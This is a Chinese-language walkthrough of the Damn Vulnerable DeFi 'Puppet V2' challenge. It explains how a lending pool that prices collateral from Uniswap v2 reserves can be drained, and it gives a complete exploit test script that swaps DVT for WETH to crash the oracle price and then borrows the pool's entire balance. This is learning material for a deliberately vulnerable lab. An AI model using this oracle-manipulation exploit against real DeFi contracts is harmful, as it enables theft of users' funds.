Damn Vulnerable DeFi 是一個 Defi 智能合約攻擊挑戰系列。內容包括了閃電貸攻擊、借貸池、鏈上預言機等。在開始之前你需要具備 Solidity 以及 JavaScipt 相關的技能。針對每一題你需要做的就是保證該題的單元測試能夠通過。
題目鏈接:https://www.damnvulnerabledefi.xyz/challenges/9.html
題目描述:
上一題借貸池的開發者發布了新的版本,現在使用 Uniswap v2 交易所作為價格預言機,以及推薦的工具庫。
你初始有 20ETH 和 10000DVT,新的借貸池中有 100 萬個 DVT。你需要取光改借貸池中的 DVT。
本題的解題思路同上一題,不同的是 ETH
換成了 WETH
,WETH
是符合 ERC20
標準的代幣,並且同 ETH
的價值比是 1:1
其次是使用 uniswap
的 v2 版本作為價格預言機。v2 版本支持 Token
對 Token
的配對合約,本題中的配對合約是 WETH-DVT。
借貸合約 PuppetV2Pool.sol
提供的借貸的功能如下
function borrow(uint256 borrowAmount) external {
// 確保該合約持有的DVT數量是大於要借出數量
require(_token.balanceOf(address(this)) >= borrowAmount, "Not enough token balance");
// 計算需要存多少WETH
uint256 depositOfWETHRequired = calculateDepositOfWETHRequired(borrowAmount);
// 轉WETH到該合約中
_weth.transferFrom(msg.sender, address(this), depositOfWETHRequired);
// 記錄存入的WETH
deposits[msg.sender] += depositOfWETHRequired;
// 將 DVT token 轉給 msg.sender
require(_token.transfer(msg.sender, borrowAmount));
emit Borrowed(msg.sender, depositOfWETHRequired, borrowAmount, block.timestamp);
}
允許借出 DVT
的前提是需要存入 WETH
,存入多少 WETH
是根據下面的方法計算的
function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {
// 抵押物的價值是3倍於借出的DVT
return _getOracleQuote(tokenAmount).mul(3) / (10 ** 18);
}
function _getOracleQuote(uint256 amount) private view returns (uint256) {
// 獲取 WETH 和 DVT 的儲備量
// getReserves 內部計算配對合約的地址,並返回配對的 Token 的儲備量
(uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves(
_uniswapFactory, address(_weth), address(_token)
);
// 計算DVT的價值
// amount / x = reservesToken / reservesWETH
// x = (amount * reservesWETH) / reservesToken
return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);
}
uniswap
有配對合約 WETH-DVT,儲備量分別為 reservesWETH
和 reservesToken
計算 DVT
的價值滿足公式:
在測試腳本 puppet-v2.challenge.js
中做了如下初始化
-
Uniswap
工廠合約部署了 WETH-DVT 的配對合約並添加流動性 10WETH-100DVT -
給
attacker
轉帳 10000DVT 和 20ETH -
給借貸合約轉帳 1000000DVT
如果黑客直接全部借出 DVT,則需要付出的成本為
由於 WETH
和 WTH
是 1:1 等價的,同時黑客只持有 20 ETH。所以這是不可能完成。
因此可以用黑客持有的 DVT
去 uniswap
中兌換 WETH
,此舉會增加 WETH-DVT 配對合約中 DVT
的儲備量並降低 WETH
儲備量,即在計算 DVT
價值的公式中,會增加分母並減小分子的值。所以 DVT
的價值會整體降低。
it('Exploit', async function () {
const attackerCallLendingPool = this.lendingPool.connect(attacker)
const attackerCallUniswap = this.uniswapRouter.connect(attacker)
const attackerCallToken = this.token.connect(attacker)
const attackerCallWETH = this.weth.connect(attacker)
// init:
// Attacker ETH: 20.0
// Attacker WETH: 0.0
// Attacker DVT: 10000.0
// Uniswap WETH: 10.0
// Uniswap DVT: 100.0
// LendingPool DVT: 1000000.0
// 授權 uniswap 支配 attacker 的 DVT token
await attackerCallToken.approve(attackerCallUniswap.address, ATTACKER_INITIAL_TOKEN_BALANCE)
// 在 uniswap 中使用 DVT 兌換 WETH
await attackerCallUniswap.swapExactTokensForTokens(
ATTACKER_INITIAL_TOKEN_BALANCE,
ethers.utils.parseEther('9'),
[attackerCallToken.address, attackerCallWETH.address],
attacker.address,
(await ethers.provider.getBlock('latest')).timestamp * 2
)
// Attacker ETH: 19.99975413442550073
// Attacker WETH: 9.900695134061569016
// Attacker DVT: 0.0
// Uniswap WETH: 0.099304865938430984
// Uniswap DVT: 10100.0
// LendingPool DVT: 1000000.0
// 計算需要抵押的 WETH 數量
const collateralCount = await attackerCallLendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE)
console.log('collateralCount: ', ethers.utils.formatEther(collateralCount))
// collateralCount: 29.49649483319732198
await attackerCallWETH.approve(attackerCallLendingPool.address, collateralCount)
const tx = {
to: attackerCallWETH.address,
value: ethers.utils.parseEther('19.9')
}
await attacker.sendTransaction(tx)
// 借出 DVT
await attackerCallLendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE, {
gasLimit: 1e6
})
// Attacker ETH: 0.099518462674923535
// Attacker WETH: 0.304200300864247036
// Attacker DVT: 1000000.0
// Uniswap WETH: 0.099304865938430984
// Uniswap DVT: 10100.0
// LendingPool DVT: 0.0
// The WETH that the hacker deposited: 29.49649483319732198
})
最後執行 yarn puppet-v2
測試通過!